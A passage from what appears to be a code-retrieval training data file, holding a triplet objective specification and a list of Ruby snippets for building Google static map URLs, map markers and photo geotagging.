end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def map_image location, width=500, height=275, zoom=15\n image_tag(\"http://maps.googleapis.com/maps/api/staticmap?center=#{location.latitude},#{location.longitude}&zoom=#{zoom}&size=#{width}x#{height}&markers=color:blue%7Clabel:1%7C#{location.latitude},#{location.longitude}&sensor=false\", :class => \"map_image\")\n end",
"def map_image(lat, long, width=500, height=400)\n \"http://maps.google.com/maps/api/staticmap?zoom=16&size=#{width}x#{height}&markers=#{lat},#{long}&sensor=false\"\n end",
"def gmaps4rails_marker_picture\n {\n \"rich_marker\" => \"<div class='my-marker'>It works!<img height='30' width='30' src='http://farm4.static.flickr.com/3212/3012579547_097e27ced9_m.jpg'/></div>\"\n }\nend",
"def generate_map datecart\n image_tag \"https://maps.google.com/maps/api/staticmap?#{format_google_maps_api_call_parameters(datecart.cart_items)}\", :class => \"map\", :alt => \"Date Map\"\n end",
"def store_finder_map_image\n $tracer.trace(format_method(__method__))\n return ToolTag.new(@tag.find.div.className(create_ats_regex_string(\"ats-storefindermapimg\")), format_method(__method__))\n end",
"def activity_map_url\n url = \"http://maps.google.com/maps/api/staticmap?\"\n parts = []\n\n stops =\n activity.map do |act|\n CGI::escape(act.location.address.to_s)\n end.uniq.reverse\n\n path_parts = []\n path_parts << \"path=color:0x0000ff\"\n path_parts << \"weight:5\"\n stops.each { |addy| path_parts << addy }\n parts << path_parts.join('|')\n\n origin = stops.shift\n last = stops.pop\n\n parts << \"markers=color:red|size:mid|#{origin}\" if origin\n parts << \"markers=color:green|#{last}\"\n\n parts << 'size=512x512'\n parts << 'maptype=roadmap'\n parts << 'sensor=false'\n url += parts.join('&')\n url\n end",
"def activity_map_url\n url = \"http://maps.google.com/maps/api/staticmap?\"\n parts = []\n\n stops =\n activity.map do |act|\n CGI::escape(act.location.address.to_s)\n end.uniq.reverse\n\n path_parts = []\n path_parts << \"path=color:0x0000ff\"\n path_parts << \"weight:5\"\n stops.each { |addy| path_parts << addy }\n parts << path_parts.join('|')\n\n origin = stops.shift\n last = stops.pop\n\n parts << \"markers=color:red|size:mid|#{origin}\" if origin\n parts << \"markers=color:green|#{last}\"\n\n parts << 'size=512x512'\n parts << 'maptype=roadmap'\n parts << 'sensor=false'\n url += parts.join('&')\n url\n end",
"def activity_map_url\n url = \"http://maps.google.com/maps/api/staticmap?\"\n parts = []\n\n stops =\n activity.map do |act|\n CGI::escape(act.location.address.to_s)\n end.uniq.reverse\n\n path_parts = []\n path_parts << \"path=color:0x0000ff\"\n path_parts << \"weight:5\"\n stops.each { |addy| path_parts << addy }\n parts << path_parts.join('|')\n\n origin = stops.shift\n last = stops.pop\n\n parts << \"markers=color:red|size:mid|#{origin}\" if origin\n parts << \"markers=color:green|#{last}\"\n\n parts << 'size=512x512'\n parts << 'maptype=roadmap'\n parts << 'sensor=false'\n url += parts.join('&')\n url\n end",
"def set_finish_point(route)\n marker = {}\n marker[\"lat\"] = route.points.last[\"lat\"]\n marker[\"lng\"] = route.points.last[\"lng\"]\n marker[\"picture\"] = {}\n marker[\"picture\"][\"url\"] = set_icon_finish_flag\n marker[\"picture\"][\"width\"] = 32\n marker[\"picture\"][\"height\"] = 32\n marker\n end",
"def get_static_map(trip)\n coordinates = []\n trip.activities.each { |activity| coordinates << {lat: activity.latitude, lng: activity.longitude } }\n size = \"640x640\"\n if @trip.visits.count == 3\n marker_one = \"color:blue%7Clabel:A%7C#{coordinates[0][:lat]},#{coordinates[0][:lng]}\"\n marker_two = \"color:blue%7Clabel:B%7C#{coordinates[1][:lat]},#{coordinates[1][:lng]}\"\n marker_three = \"color:blue%7Clabel:C%7C#{coordinates[2][:lat]},#{coordinates[2][:lng]}\"\n return \"https://maps.googleapis.com/maps/api/staticmap?size=#{size}0&maptype=roadmap&markers=#{marker_one}&markers=#{marker_two}&markers=#{marker_three}&key=#{ENV['GOOGLE_API_STATIC_KEY']}\"\n end\n end",
"def marker_img_path_for_grade grade\n image_path(\"#{marker_img_for_grade(grade)}\")\n end",
"def map_image(map = nil)\n map ? image_tag(\"maps/#{map}_thumb.jpg\") : image_tag('maps/unknown.jpg')\n end",
"def gmaps_endpoints\n coordinates = self.coordinates.sort_by &:time_stamp\n endpoints = [coordinates.first, coordinates.last]\n\n \n count = 0\n hash = Gmaps4rails.build_markers(endpoints) do |coord, marker|\n time = Time.at(coord.time_stamp/1000)\n marker.lat coord.latitude\n marker.lng coord.longitude\n if count == 0\n marker.infowindow \"Start of Trip (#{time.strftime('%r')})\"\n marker.picture({\n :url => \"/assets/car_map.png\",\n :width => 32,\n :height => 35\n })\n else\n marker.infowindow \"End of Trip (#{time.strftime('%r')})\"\n marker.picture({\n :url => \"/assets/stop.png\",\n :width => 32,\n :height => 35\n })\n end\n\n marker.title time.strftime('%r')\n count += 1\n end\n\n hash.to_json\n end",
"def set_icon_finish_flag\n return \"/assets/gmaps/finish_flag.png\"\n end",
"def map_marker\n=begin\n kita_icon = GIcon.new(:image => \"/images/red-dot.png\",\n :shadow => \"/images/shadow.png\",\n :shadow_size => GSize.new(49,32),\n :icon_anchor => GPoint.new(16,32))\n=end\n GMarker.new([self.lat, self.lng], :title => \"#{self.name}\", :info_window => \"\n <p> <b>#{self.name}</b><br />#{self.street}<br />#{self.country_code}-#{self.zip} #{self.city} </p>\n <p><a href='/kitas/#{self.id}'>Mehr Details...</a></p>\n \")\n end",
"def store_map_locator\n $tracer.trace(__method__)\n return ToolTag.new(a.className(create_ats_regex_string(\"MapPushpinBase\")).find.img, __method__)\n end",
"def set_init_point(route)\n marker = {}\n marker[\"lat\"] = route.points.first[\"lat\"]\n marker[\"lng\"] = route.points.first[\"lng\"]\n marker[\"picture\"] = {}\n marker[\"picture\"][\"url\"] = set_icon(route)\n marker[\"picture\"][\"width\"] = 32\n marker[\"picture\"][\"height\"] = 37\n marker\n end",
"def latitude_for(image_meta)\n image_meta&.gps&.latitude\n end",
"def graphic_url\n QuickTravel.url + graphic if graphic.present?\n end",
"def create_static_map\n legs = @itinerary.legs\n markers = create_markers\n polylines = create_polylines\n\n params = {\n 'size' => '700x435',\n 'maptype' => 'roadmap',\n }\n\n iconUrls = {\n 'blueMiniIcon' => 'https://maps.gstatic.com/intl/en_us/mapfiles/markers2/measle_blue.png',\n 'startIcon' => 'http://maps.google.com/mapfiles/dd-start.png',\n 'stopIcon' => 'http://maps.google.com/mapfiles/dd-end.png'\n }\n\n markersByIcon = markers.group_by { |m| m[\"iconClass\"] }\n\n url = \"https://maps.googleapis.com/maps/api/staticmap?\" + params.to_query\n markersByIcon.keys.each do |iconClass|\n marker = '&markers=icon:' + iconUrls[iconClass]\n markersByIcon[iconClass].each do |icon|\n marker += '|' + icon[\"lat\"].to_s + \",\" + icon[\"lng\"].to_s\n end\n url += URI::encode(marker)\n end\n\n polylines.each do |polyline|\n color = polyline['options']['color'].nil? ? \"0000ff\" : polyline['options']['color']\n url += URI::encode(\"&path=color:0x#{color}|weight:5|enc:\" + polyline['geom']['points'])\n end\n url += \"&key=#{ENV['GOOGLE_API_KEY']}\"\n return url\n end",
"def extract_geolocation\n img_lat = get_exif('GPSLatitude')[0][1].split(', ') rescue nil\n img_lng = get_exif('GPSLongitude')[0][1].split(', ') rescue nil\n lat_ref = get_exif('GPSLatitudeRef')[0][1] rescue nil\n lng_ref = get_exif('GPSLongitudeRef')[0][1] rescue nil\n return unless img_lat && img_lng && lat_ref && lng_ref \n latitude = to_frac(img_lat[0]) + (to_frac(img_lat[1])/60) + (to_frac(img_lat[2])/3600)\n longitude = to_frac(img_lng[0]) + (to_frac(img_lng[1])/60) + (to_frac(img_lng[2])/3600) \n latitude = latitude * -1 if lat_ref == 'S' # (N is +, S is -)\n longitude = longitude * -1 if lng_ref == 'W' # (W is -, E is +) \n self.latitude = latitude\n self.longitude = longitude\n end",
"def draw_line(start_x, start_y, end_x, end_y, image)\n line = Magick::Draw.new\n line.polyline(start_x, start_y, end_x, end_y)\n line.draw(image)\nend",
"def getUrl()\n url = 'http://maps.google.com/staticmap'\n url += '?center=' + @geoCenter.to_s\n url += '&key=' + @apiKey.to_s\n url += '&format=' + @imageFormat.to_s\n url += '&maptype=' + @type.to_s\n url += '&hl=' + @language.to_s if @language != nil\n url += '&span=' + @geoSpan.to_s if @geoSpan != nil\n url += '&zoom=' + @zoom.to_s if @zoom != nil\n url += '&size=' + @imageSize.to_s if @imageSize != nil\n url += '&sensor=' + (@sensor ? 'true' : 'false') if @sensor != nil\n url\n end",
"def gmaps4rails_infowindow\n \"<h1>#{name}</h1><br>Latitude: #{latitude} Longitude: #{longitude}\"\n end",
"def longitude_for(image_meta)\n image_meta&.gps&.longitude\n end",
"def photo\n\t\t@map = GoogleMap::Map.new\n\t\t@map.center = GoogleMap::Point.new(38.06, -84.497631) #Lexington Kentucky\n\t\t@map.zoom = 12 #200km\n\t\t\n\t\t# define control types shown on map\n\t\t@map.controls = [ :large, :scale, :type ]\n\t\t# valid controls options include\n\t\t# :large \n\t\t# :small \n\t\t# :overview\n\t\t# :large_3d\n\t\t# :scale\n\t\t# :type\n\t\t# :menu_type\n\t\t# :hierachical_type\n\t\t# :zoom\n\t\t# :zoom_3d\n\t\t# :nav_label \n\t \t\n\t\t# allow user to double click to zoom\n\t\t@map.double_click_zoom = true\n\t\t\n\t\t# not certain what this does\n\t\t@map.continuous_zoom = false\n\t\t\n\t\t# allow user to scroll using mouse wheel?\n\t\t@map.scroll_wheel_zoom = false\n\t\t\n\t\t#set some markers\n\t\t\n Location.find_each do |loc|\n\t @map.markers << GoogleMap::Marker.new(\n\t :map => @map,\n\t :icon => GoogleMap::SmallIcon.new(@map, 'blue'),\n\t :lat => loc.lat,\n\t :lng => loc.lon,\n\t :html => loc.desc,\n\t :open_infoWindow => false\n\t )\n end\n\t \n end",
"def gamestop_orders_image\n # unit_test_no_generate: gamestop_orders_image, div.className(create_ats_regex_string(\"ats-gsordersimg\"))\n $tracer.trace(__method__)\n return ToolTag.new(div.className(create_ats_regex_string(\"ats-gsordersimg\")), __method__)\n end",
"def get_street_view incident_url\n incident_page = Nokogiri::HTML(open(incident_url))\n geo_string = incident_page.css('span').to_a\n .select { |span| span.text.include?('Geolocation:') }\n .map { |span| span.text }\n .first\n unless geo_string.nil?\n geo_string.slice!('Geolocation:')\n geo_string.strip!\n lat_lng_array = geo_string.split(',').map { |coord| coord.strip }\n lat = lat_lng_array.first\n lng = lat_lng_array.last\n incident_num = incident_url.split('/').last\n\n File.open(\"/tmp/#{incident_num}.jpg\", 'w+') do |f|\n img = open('https://maps.googleapis.com/maps/api/streetview?'\n .concat(\"size=#{IMAGE_SIZE}\")\n .concat(\"&location=#{lat},#{lng}\")\n .concat('&fov=90')\n .concat('&heading=235')\n .concat('&pitch=10')\n .concat(\"&key=#{ENV['MAP_KEY']}\"))\n f.write img.read\n end\n\n \"/tmp/#{incident_num}.jpg\"\n end\n end",
"def show\n @event = Event.find(params[:id])\n @location = @event.location\n get_flickr_photos(@location)\n \n @map = GMap.new(\"map_div_small\")\n @map.control_init(:small_zoom => true)\n @map.center_zoom_init([@location.lat,@location.lng],13)\n \n @map.overlay_init(GMarker.new([@location.lat,@location.lng],:title => @location.name, :max_width => 100, :info_window => \"<a href='http://maps.google.com/maps?daddr=\" + @location.full_address + \"' target='blank'>get directions</a>\"))\n \n \n respond_to do |format|\n format.html # show.html.erb\n format.xml {render :action => '../locations/location.xml.builder', :layout => false}\n end\n end",
"def img_file\n return \"map_\" + symbol.to_s + \"_full\"\n end",
"def line_image\n \"%s%s%s %s%s%s %s%s%s\" % POT.collect{ |i| own(i) }\n end",
"def smart_map_image_url map\n if url_responsive? map.image\n map.image\n else\n url = \"http://image.www.gametracker.com/images/maps/160x120/tf2/#{map.name}.jpg\"\n if url_responsive? url\n url\n else\n \"unkown_image.jpg\"\n end\n end\n end",
"def load_locations(comp)\n @complaints_map = Gmaps4rails.build_markers(comp) do |plot, marker| \n marker.lat plot.latitude \n marker.lng plot.longitude \n \n @title = plot.title\n @desc = plot.description\n @date = plot.date\n\n marker.picture({ \n \"width\" => 35, \n \"height\" => 30 \n }) \n \n marker.infowindow render_to_string(:partial => \"/complaints/info\", \n :locals => {:name => plot.name.force_encoding(\"UTF-8\"), :title => @title, :desc => @desc, :date => @date }) \n end \n end",
"def to_js\n \"var #{@name}\t\t= new google.maps.MarkerImage(\n \\\"#{@image_url}\\\",\n google.maps.Size(#{@width},#{@height}),\n google.maps.Point(0,0),\n google.maps.Point(#{@anchor_x},#{@anchor_y}),\n google.maps.Size(#{@width},#{@height})\n );\n \"\n\n\n end",
"def point_a_label\n $tracer.trace(__method__)\n return ToolTag.new(div.id(create_ats_regex_string(\"MicrosoftMapsDirections_1_WaypointText3\")), __method__)\n end",
"def get_candidate_list_item_image(index, type)\n if type == \"0\"\n return 'http://maps.google.com/mapfiles/marker_green' + ALPHABET[index] + \".png\"\n elsif type == \"1\"\n return 'http://maps.google.com/mapfiles/marker' + ALPHABET[index] + \".png\"\n else\n return 'http://maps.google.com/mapfiles/marker_yellow' + ALPHABET[index] + \".png\"\n end\n end",
"def image_link()\n $tracer.trace(format_method(__method__))\n return ToolTag.new(@tag.find.a.id(\"/res_hypSmallBox/\"), format_method(__method__))\n end",
"def gmaps4rails_infowindow\n \"<div class='location-infobox'> <a href=/locations/#{location.id}>#{name}</a> <p>Date visited: #{first_date.to_s}</p> <p>Located: #{states}</p> </div>\"\n end",
"def create_static_map\n path_array = coordinates_string.split(\"|\")\n\n while path_array.length > 70\n path_array = reductionPath(path_array)\n end\n coordinates_string_temp = \"\"\n path_array.each do |pos|\n # pos_array = pos.split(\",\")\n # lat = pos_array[0].to_f.round(6).to_s\n # lng = pos_array[1].to_f.round(6).to_s\n\n # coordinates_string_temp += \"|#{lat},#{lng}\"\n coordinates_string_temp += \"|#{pos}\"\n end\n \"http://maps.googleapis.com/maps/api/staticmap?path=color:0xc84446ff|weight:2#{coordinates_string_temp}&size=79x79&sensor=false\"\n end",
"def image_ocr_image_lines_with_location_with_http_info(image_file, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ImageOcrApi.image_ocr_image_lines_with_location ...'\n end\n # verify the required parameter 'image_file' is set\n if @api_client.config.client_side_validation && image_file.nil?\n fail ArgumentError, \"Missing the required parameter 'image_file' when calling ImageOcrApi.image_ocr_image_lines_with_location\"\n end\n # resource path\n local_var_path = '/ocr/image/to/lines-with-location'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/json', 'application/xml', 'text/xml'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['multipart/form-data'])\n header_params[:'language'] = opts[:'language'] if !opts[:'language'].nil?\n header_params[:'preprocessing'] = opts[:'preprocessing'] if !opts[:'preprocessing'].nil?\n\n # form parameters\n form_params = {}\n form_params['imageFile'] = image_file\n\n # http body (model)\n post_body = nil\n auth_names = ['Apikey']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ImageToLinesWithLocationResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ImageOcrApi#image_ocr_image_lines_with_location\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def gis\n gis = []\n return gis if trackpoints.size < 5\n start = trackpoints.first.time\n for tp in trackpoints do\n if !tp.lat.nil?\n gis << {:time => ((tp.time - start) / 10).round, :data => [tp.lat, tp.lng]}\n end\n end\n return gis\n end",
"def point_b_label\n $tracer.trace(__method__)\n return ToolTag.new(div.id(create_ats_regex_string(\"MicrosoftMapsDirections_1_WaypointText4\")), __method__)\n end",
"def gen_marker(marker)\n marker.lat object.latitude\n marker.lng object.longitude\n link = h.link_to object.title, object\n info = \"#{link}<br>#{short_details}\"\n marker.infowindow info\n end",
"def show\n @hospital = Hospital.find(params[:id])\n # @room = Rooms.new\n @marker =\n [{\n lat: @hospital.latitude,\n lng: @hospital.longitude,\n image_url: helpers.asset_url('map-icon.png')\n }]\n end",
"def map_location\n @landmark = Landmark.find(params[:id])\n @hash = Gmaps4rails.build_markers(@landmark) do |landmark, marker|\n marker.lat(landmark.latitude)\n marker.lng(landmark.longitude)\n marker.picture({\n :url => ActionController::Base.helpers.asset_path('map-icon.png'),\n :height => 36,\n :width => 36\n });\n marker.infowindow(\"<em>\" + landmark.address + \"</em>\")\n end\n render json: @hash.to_json\n end",
"def get_image_from_google_for(keywords)\n get_link_from_google_for keywords, :image\n rescue Exception\n ''\n end",
"def store_locator_icon\n $tracer.trace(format_method(__method__))\n return ToolTag.new(@tag.find.div.className(create_ats_regex_string(\"ats-storetitle\")).img, format_method(__method__))\n end",
"def create_image\n\t\tpng = ChunkyPNG::Image.new(@img_width, @img_height, ChunkyPNG::Color::BLACK)\n\t\tpen = ChunkyPNG::Color.rgb(102, 102, 255)\n\n\t\tprev = nil\n\t\ti = 0\n\n\t\tFile.open( 'significant_stop_times.txt', 'r' ).each do |line|\n\t\t\tparts = line.split(',')\n\t\t\t# trip_id,frame_id,sst_stop_id,lat,lng,x,y\n\t\t\ttrip_id = parts[0]\n\t\t\tx = parts[5].to_i\n\t\t\ty = parts[6].to_i\n\n\t\t\tif (!prev.nil?) and prev[:trip_id] == trip_id\n\t\t\t\ti += 1\n\t\t\t\tputs \"#{i} stops drawn\" if i % 10_000 == 0\n\n\t\t\t\t# Draw a line from the previous stop to this one.\n\t\t\t\tpng.line( \n\t\t\t\t\t\tprev[:x], prev[:y],\n\t\t\t\t\t\tx, y,\n\t\t\t\t\t\tpen\n\t\t\t\t\t)\n\t\t\tend\n\t\t\t\n\t\t\tprev = {:x => x, :y => y, :trip_id => trip_id}\n\t\tend\n\n\t\tputs \"Saving.\"\n\t\tpng.save( 'stops.png' )\n\tend",
"def add_map_marker(location, marker_image=nil, link_id=nil, &block)\n\n if marker_image == nil\n marker_path = 'null'\n else\n marker_path = \"#{root_url}images/#{marker_image}\"\n end\n\n if (block_given?)\n html = escape_javascript(capture(&block))\n else\n html = ''\n end\n\n concat(javascript_tag(%{\n Google_AddMarker(\n #{location.lat},\n #{location.lng},\n '#{marker_path}',\n '#{html}',\n #{link_id.nil? ? 'null' : array_or_string_for_javascript(link_id)}\n );\n }))\n\n end",
"def png_path\n path = @path[0...@path.length - 3] + 'png'\n path_remote = @path_remote[0...@path_remote.length - 3] + 'png'\n File.exists?(path) ? path_remote : 'https://maps.avicus.net' + '/default_map.png' # May need configured\n end",
"def get_haplotype_img(map_id)\n\n map = Map.find(map_id)\n @markers = []\n chromosome = params['chromosome'] || 1\n start = params['start'] || 20000000\n stop = params['end'] || 25000000\n\n # do the processing to get the data and create the image\n get_region_marker_data(chromosome, start, stop)\n # redirect output to the image file itself, thereby rendering the file\n redirect_to draw_haplotype_image(@markers, @strains, @genotypes, false, 'high', 'gif')\n\n end",
"def sss_image_tag url, options = {}\n options[:url] = url\n url = Builder.new(options).build_url()\n '<img src=\"#{url}\">'\n end",
"def setup_plate_layout_image\n image_path(image_name: params[:setup_plate_layout_image])\n end",
"def image(full_path, opts = {})\n image_name = template.add_image(full_path)\n output = '<draw:frame text:anchor-type=\"as-char\" '\n opts[:width] && output << %Q(svg:width=\"#{opts[:width]}cm\" )\n opts[:height] && output << %Q(svg:height=\"#{opts[:height]}cm\")\n output << '>'\n output << %Q(<draw:image xlink:href=\"Pictures/#{image_name}\" )\n output <<\n 'xlink:type=\"simple\" xlink:show=\"embed\" xlink:actuate=\"onLoad\"/>'\n output << '</draw:frame>'\n end",
"def drawLocatorIcon(point, locator, projection, cgContext)\n scale = [1.0, (4-(19-projection.zoomLevel)/2)/2.0].max\n icon = locator.scale_by(scale)\n x = point.x - icon.hotspot.x/projection.zoomscale\n y = point.y - icon.hotspot.y/projection.zoomscale\n width = icon.image.size.width/projection.zoomscale\n height = icon.image.size.height/projection.zoomscale\n imageMapRect = CGRect.new([x, y], [width, height])\n CGContextDrawImage(cgContext, imageMapRect, icon.image.cgimage)\n imageMapRect\n end",
"def add_image(path, point, width, height = 0.0)\n end",
"def maps_marker\n \"&markers=color:green%7C#{place[:latitude]},#{place[:longitude]}\"\n end",
"def show\n route = Route.find(params[:id])\n imgs = []\n if !route.nil?\n route.rota_points.each do |rp|\n imgs.push(rp.rota_point_images)\n end\n render :json => {:success => \"true\", :route => route, :points => route.rota_points, :images => imgs}\n else\n render :json => {:success => \"false\"}\n end\n end",
"def get_print_url()\n points = self.arrOfPoints \n #coordinates of the retailer hardcoded at [30.199,31.002]\n url = \"http://maps.google.com/maps?f=d&source=s_d&saddr=30.199,31.002\" \n len = points.size\n len.times do |i|\n if i == 0\n url << \"&daddr=\"\n end\n url << arrOfPoints[i]*\",\".sub( \" \", \"+\" )\n if i != (len - 1) \n url << \"+to:\" \n end\n end\n url << \"+to:30.199,31.002&ie=UTF8&z=10&pw=2&hl=en\" \n return url\n end",
"def pur_orders_image\n # unit_test_no_generate: pur_orders_image, div.className(create_ats_regex_string(\"ats-purordersimg\"))\n $tracer.trace(__method__)\n return ToolTag.new(div.className(create_ats_regex_string(\"ats-purordersimg\")), __method__)\n end",
"def addCoordinates(photoFolder, folderGPX, gpsPhotoPerl, tzoLoc)\n # Remember writing a command line command, so telling perl, then which perl file, then the gpsphoto.pl script options\n # --timeoffset seconds Camera time + seconds = GMT. No default. \n # maxTimeDiff = 50000 # seconds, default 120, but I changed it 2011.07.26 to allow for pictures taken at night but GPS off. Distance still has to be reasonable, that is the GPS had to be at the same place in the morning as the night before as set by the variable below\n # This works, put in because having problems with file locations\n # perlOutput = `perl \\\"#{gpsPhotoPerl.shellescape}\\\" --dir #{photoFolder.shellescape} --gpsdir #{folderGPX.shellescape} --timeoffset 0 --maxtimediff 50000 2>&1`\n \n # photoFolder is where the photos are that are going to have gps coordinates added. A temporary location. Usually called destPhoto is the overall script\n # folderGPX is where the gpx tracks are\n # gpsPhotoPerl is where gpsPhoto.pl is\n # tzoLoc is the time zone from Greg camera time zones.yml file. Since GPS records UTM. Camera time zone setting varies. Camera only recordeds the time it is set for, but doesn't accurately report the zone. Currently exiftool is saying the zone is the zone of the computer running the script. tzoLoc value can be changed in this module. tzoLoc is hours and gets changed to seconds as timeOffset for use by gpsPhoto.pl\n # <--timeoffset seconds> A positive value means that the camera is behind in time, a negative value means that the camera is ahead in time.\n \n\n# Assuming all the photos are from the same camera, get info on one and use that information.\n# GX8 is usually local time, but may get\n# GX7 is UST\n camModel = \"\"\n timeOffset = 0\n Dir.foreach(photoFolder) do |item|\n # This is only run once, so efficiency doesn't matter\n count = 0\n next if ignoreNonFiles(item) # skipping file when true == true\n fn = photoFolder + item\n fileEXIF = MiniExiftool.new(fn) # used several times\n camModel = fileEXIF.model\n # puts \"#{lineNum}. model: #{camModel} fn: #{fn}\" # debug\n panasonicLocation = fileEXIF.location\n # timeOffset = 0 # could leave this in and remove the else \n if File.file?(fn)\n if camModel == \"DMC-GX8\" # Assumes GX8 always on local time. And TimeZone is set\n # timeOffset = tzoLoc * 3600 # old way which may be fine, but the following seems more direct. May not account for camera not being in the zone it's set for, but I don't think that matters. It matters for time labeling, but this is only GPS coords\n timeOffset = (fileEXIF.TimeStamp - fileEXIF.CreateDate) # seconds, so how much GMT is ahead of local. So opposite time zone\n puts \"#{lineNum}. timeOffset: #{timeOffset} seconds (#{timeOffset/3600} hours) with GX-8 photos stamped in local time. FYI: tzoLoc: #{tzoLoc} per zones file which isn't being used for coordinates but seems like it could with hrs to secs change.\"\n # timeOffset = 3600 * 7\n # puts \"#{lineNum}. Hardwired to #{timeOffset} seconds for this run\"\n\n elsif camModel.include?(\"DMC\") and panasonicLocation.length > 0 # Panasonic in Travel Mode, but also some photos exported from Photos.\n timeOffset = tzoLoc * 3600\n puts \"#{lineNum}. timeOffset: #{timeOffset} sec (#{tzoLoc} hours) with photos stamped in local time.\"\n elsif camModel == \"DMC-TS5\"\n # Offset sign is same as GMT offset, eg, we are -8, but need to increase the time to match UST, therefore negative\n timeOffset = - fileEXIF.dateTimeOriginal.utc_offset # Time zone is set in camera, i.e. local time in this case\n # What does utc_offset do for the above. dateTimeOriginal is just a time, e.g., 2018:12:31 21:38:32, which is the time the camera thinks it is. Camera doesn't know about zone. Camera may, but from dateTimeOriginal, can't tell the time zone.\n puts \"#{lineNum}. timeOffset: #{timeOffset} for DMC-TS5 photos stamped in local time.\"\n else # GX7 time is UTC. iPhone ends up here too\n timeOffset = 0 # camelCase, but perl variable is lowercase\n puts \"#{lineNum}. timeOffset: #{timeOffset} sec (#{tzoLoc} hours) with photos stamped in GMT\"\n end # if camModel\n # puts \"#{lineNum} timeOffset: #{timeOffset} triple checking\"\n fileEXIF.save \n count += 1\n end # if File.file\n break if count == 1 # once have a real photo file, can get out of this. Only check htis once\n end # Dir.foreach\n puts \"#{lineNum}. timeOffset: #{timeOffset}. camModel: #{camModel}. All photos must be same camera and time zone or photos may be mislabeled and geo-located.\"\n \n puts \"\\n#{lineNum}. Finding all gps points from all the gpx files using gpsPhoto.pl. This may take a while. \\n\"\n # Since have to manually craft the perl call, need one for with Daguerre and one for on laptop\n # Daguerre version. /Volumes/Daguerre/_Download folder/Latest Download/\n \n perlOutput = `perl '#{gpsPhotoPerl}' --dir '#{photoFolder}' --gpsdir '#{folderGPX}' --timeoffset #{timeOffset} --maxtimediff 50000`\n # The following is identical, so apparently was taken care of elsewhere. So now use the single line above\n # if loadingToLaptop\n # # perlOutput = `perl '/Users/gscar/Documents/Ruby/Photo\\ handling/lib/gpsPhoto.pl' --dir '/Users/gscar/Pictures/_Photo Processing Folders/Processed\\ photos\\ to\\ be\\ imported\\ to\\ Aperture/' --gpsdir '/Users/gscar/Dropbox/\\ GPX\\ daily\\ logs/2017\\ Massaged/' --timeoffset #{timeOffset} --maxtimediff 50000` # saved in case something goes wrong. This works\n # perlOutput = `perl '#{gpsPhotoPerl}' --dir '#{photoFolder}' --gpsdir '#{folderGPX}' --timeoffset #{timeOffset} --maxtimediff 50000`\n # else # default location on Daguerre or Knobby Aperture Two\n # # perlOutput = `perl '/Users/gscar/Documents/Ruby/Photo\\ handling/lib/gpsPhoto.pl' --dir '/Volumes/Knobby Aperture Two/_Download\\ folder/Latest\\ Download/' --gpsdir '/Users/gscar/Dropbox/\\ GPX\\ daily\\ logs/2017\\ Massaged/' --timeoffset #{timeOffset} --maxtimediff 50000` # this works, saving in case the following doesn't\n # perlOutput = `perl '#{gpsPhotoPerl}' --dir '#{photoFolder}' --gpsdir '#{folderGPX}' --timeoffset #{timeOffset} --maxtimediff 50000`\n # # Double quotes needed for variables to be evalated\n # # perlOutput = \"`perl \\'#{gpsPhotoPerl.shellescape}\\' --dir \\'#{photoFolder.shellescape}\\' --gpsdir \\'#{folderGPX.shellescape}\\' --timeoffset #{timeOffset} --maxtimediff 50000`\" # 2>&1\n # # perlOutput = \"`perl '/Users/gscar/Documents/Ruby/Photo\\ handling/lib/gpsPhoto.pl' --dir '/Volumes/Knobby Aperture Two/_Download\\ folder/Latest\\ Download/' --gpsdir '/Users/gscar/Dropbox/\\ GPX\\ daily\\ logs/2017\\ Massaged/' --timeoffset #{timeOffset} --maxtimediff 50000 2>&1` \" # 2>&1 is needed to capture output, but not to run\n #\n # puts \"#{lineNum}. perlOutput: #{perlOutput}\"\n # end\n \n # puts \"\\n374.. perlOutput: \\n#{perlOutput} \\n\\nEnd of perlOutput ================… end 374\\n\\n\" # This didn't seem to be happening with 2>&1 appended? But w/o it, error not captured\n # perlOutput =~ /timediff\\=([0-9]+)/\n # timediff = $1 # class string\n # # puts\"\\n #{lineNum} timediff: #{timediff}. timediff.class: #{timediff.class}. \"\n # if timediff.to_i > 240\n # timeDiffReport = \". Note that timediff is #{timediff} seconds. \"\n # # writing to the photo file about high timediff\n # writeTimeDiff(imageFile,timediff)\n # else\n # timeDiffReport = \"\"\n # end # timediff.to…\n return perlOutput\nend",
"def create_map_picture\n @picture = Sprite.new(@viewport)\n @picture.bitmap = Cache.picture(MINIMAP_PICTURE)\n @picture.x = P_X; @picture.y = P_Y\n @picture.opacity = 0\n end",
"def google_map(center)\n \"https://maps.googleapis.com/maps/api/staticmap?center=#{center}&size=300x300&zoom=17\"\n \tend",
"def image(key, image_path, options = {})\n # Idea from here http://itext.ugent.be/library/question.php?id=31 \n # Thanks Bruno for letting me know about it.\n img = Image.get_instance(image_path)\n coords = @form.get_field_positions(key.to_s)\n rect = coords[0].position\n img.set_absolute_position(rect.left, rect.bottom)\n img.scale_to_fit(rect)\n image_content = @stamp.get_over_content(options.fetch(:page, 1))\n image_content.add_image(img)\n end",
"def render_map_location latitude, longitude\n \"#{import_google_places_library}<div style='height: 220px;' class='hook_caller' data-callback='Common.render_location' data-lat='#{latitude}' data-lng='#{longitude}'></div>\".html_safe if latitude && longitude\n end",
"def image_location\n src || ''\n end",
"def location_format_gnip\n unless @lat.nil? || @long.nil? || @radius.nil?\n location = \"point_radius:[#{@long} #{@lat} #{@radius}]\"\n # prepend space for the rule if hashtags have been set\n location.prepend(\" \") if @hashtags.any?\n location\n else\n ''\n end\n end",
"def draw_icon(line, graphic_name)\n return if line <= 0\n y = 32 * line - 32\n bitmap = RPG::Cache.picture(graphic_name)\n rect = Rect.new(0,0,bitmap.width,bitmap.height)\n self.contents.blt(0, y, bitmap, rect)\n end",
